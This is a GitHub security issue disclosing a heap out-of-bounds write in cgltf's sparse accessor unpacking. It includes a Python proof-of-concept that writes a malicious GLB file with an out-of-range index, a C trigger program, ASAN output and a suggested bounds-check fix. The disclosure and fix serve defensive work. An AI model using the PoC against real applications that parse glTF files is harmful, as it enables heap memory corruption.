Skip to content

Heap buffer overflow (OOB write) in cgltf_accessor_unpack_floats via unchecked sparse accessor indices #292

Description

@Gayang2902

Summary

cgltf_accessor_unpack_floats() does not validate that sparse accessor indices fall within the bounds of the output buffer. An attacker-crafted glTF/GLB file with a sparse index exceeding accessor->count causes an out-of-bounds write on the caller-provided heap buffer.

This issue is independent of CVE-2026-32845 (integer overflow in cgltf_validate() sparse validation path). The bug occurs in the data-processing path itself and can be triggered even when cgltf_validate() is not called.

Affected Versions

  • Confirmed on cgltf v1.15 (commit 85cd623)
  • Other versions containing the same sparse accessor unpacking logic are likely affected

Root Cause

In cgltf_accessor_unpack_floats(), the sparse accessor second pass reads an index from attacker-controlled data and uses it directly as an output offset without bounds checking:

for (cgltf_size reader_index = 0; reader_index < sparse->count;
     reader_index++, index_data += index_stride, reader_head += accessor->stride)
{
    size_t writer_index = cgltf_component_read_index(index_data, sparse->indices_component_type);

    float* writer_head = out + writer_index * floats_per_element;
    // No check: writer_index >= element_count → OOB write

    if (!cgltf_element_read_float(reader_head, accessor->type,
            accessor->component_type, accessor->normalized,
            writer_head, floats_per_element))
    {
        return 0;
    }
}

The caller typically allocates out based on accessor->count * num_components. If a sparse index value is greater than or equal to accessor->count, the write targets memory beyond the allocated buffer.

Impact

  • Bug class: CWE-787 (Out-of-bounds Write)
  • Primitive: out-of-bounds heap write with attacker-influenced offset and value
  • Severity: High (may become critical depending on application context)
  • Attack vector: applications that process untrusted glTF/GLB files and call cgltf_accessor_unpack_floats()

Why cgltf_validate() does not mitigate this

  1. cgltf_validate() is optional and not always used by downstream applications.
  2. CVE-2026-32845 demonstrates that validation logic may be bypassed under certain conditions.
  3. The write operation itself lacks a bounds check and should enforce correctness independently.

Proof of Concept

A minimal GLB file with a sparse accessor containing an out-of-range index triggers the issue.

Example generator:

import json, struct

gltf = {
    "asset": {"version": "2.0"},
    "buffers": [{"byteLength": 32}],
    "bufferViews": [
        {"buffer": 0, "byteOffset": 0,  "byteLength": 4},
        {"buffer": 0, "byteOffset": 4,  "byteLength": 4},
        {"buffer": 0, "byteOffset": 8,  "byteLength": 16},
    ],
    "accessors": [{
        "bufferView": 2, "byteOffset": 0,
        "componentType": 5126, "count": 4, "type": "SCALAR",
        "sparse": {
            "count": 1,
            "indices": {"bufferView": 0, "byteOffset": 0, "componentType": 5125},
            "values":  {"bufferView": 1, "byteOffset": 0}
        }
    }]
}

json_bytes = json.dumps(gltf).encode()
while len(json_bytes) % 4: json_bytes += b' '

bin_data  = struct.pack('<I', 100)          # OOB index (count = 4)
bin_data += struct.pack('<f', 41414141.0)
bin_data += b'\x00' * 16
bin_data += b'\x00' * (32 - len(bin_data))

json_chunk = struct.pack('<II', len(json_bytes), 0x4E4F534A) + json_bytes
bin_chunk  = struct.pack('<II', len(bin_data),   0x004E4942) + bin_data
header     = struct.pack('<III', 0x46546C67, 2, 12 + len(json_chunk) + len(bin_chunk))

with open('poc.glb', 'wb') as f:
    f.write(header + json_chunk + bin_chunk)

Test program:

cgltf_size n = cgltf_accessor_unpack_floats(acc, NULL, 0);
float* buf = malloc(n * sizeof(float));
cgltf_accessor_unpack_floats(acc, buf, n);  // OOB write

ASAN output (Ubuntu 22.04, x86-64):

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000001c0
WRITE of size 4 at 0x5020000001c0 thread T0
    #0 cgltf_element_read_float cgltf.h:2330
    #1 cgltf_accessor_unpack_floats cgltf.h:2481
0x5020000001c0 is located 384 bytes to the right of 16-byte region [0x502000000030,0x502000000040)
SUMMARY: AddressSanitizer: heap-buffer-overflow cgltf.h:2330 in cgltf_element_read_float

Exploitability Considerations

The vulnerability provides an out-of-bounds heap write relative to the output buffer. In application-specific scenarios where heap objects are allocated adjacently (e.g., buffers followed by structures containing function pointers), this may lead to memory corruption or control-flow hijacking.

Practical exploitability depends on the surrounding application's memory layout and allocation patterns.

Suggested Fix

Add a bounds check before using writer_index:

size_t writer_index = cgltf_component_read_index(index_data, sparse->indices_component_type);
if (writer_index >= element_count)
{
    return 0;
}
float* writer_head = out + writer_index * floats_per_element;

A similar check should also be considered in cgltf_accessor_unpack_indices().

Related

Thank you for reading!

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions